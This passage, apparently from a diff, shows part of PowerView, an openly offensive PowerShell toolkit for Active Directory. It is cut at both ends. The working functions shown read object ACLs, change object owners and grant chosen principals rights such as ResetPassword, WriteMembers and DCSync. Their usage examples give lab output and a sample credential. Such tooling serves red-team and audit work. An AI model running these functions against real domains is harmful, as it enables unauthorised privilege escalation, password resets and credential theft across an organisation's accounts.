[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $True)] + [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] + $Right, + + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] + [ValidateSet('Allow', 'Deny')] + [String[]] + $AccessControlType, + + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] + [ValidateSet('Success', 'Failure')] + [String] + $AuditFlag, + + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] + [Guid] + $ObjectType, + + [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] + [String] + $InheritanceType, + + [Guid] + $InheritedObjectType + ) + + Begin { + if ($PrincipalIdentity -notmatch '^S-1-.*') { + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principal = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principal) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + elseif($Principal.Count -gt 1) { + throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" + } + $ObjectSid = $Principal.objectsid + } + else { + $ObjectSid = $PrincipalIdentity + } + + $ADRight = 0 + foreach($r in $Right) { + $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) + } + $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) + } + + Process { + if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + else { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + } +} + + +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + +function Get-DomainObjectAcl { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Sacl + +Switch. Return the SACL instead of the DACL for the object (default behavior). + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER RightsFilter + +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs + +Enumerate the ACL permissions for all OUs in the domain. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl + +Enumerate the SACLs for all OUs in the domain, resolving GUIDs. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $Sacl, + + [Switch] + $ResolveGUIDs, + + [String] + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + if ($PSBoundParameters['Sacl']) { + $SearcherArguments['SecurityMasks'] = 'Sacl' + } + else { + $SearcherArguments['SecurityMasks'] = 'Dacl' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + + # get a GUID -> name mapping + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments + } + } + + PROCESS { + if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $Searcher = Get-DomainSearcher @SearcherArguments + if (-not $Searcher) { + Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter) { + $Searcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + } + else { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ + } + } + } + } + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } + } + } + } +} + + +function Add-DomainObjectAcl { +<# +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +[no results returned] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { 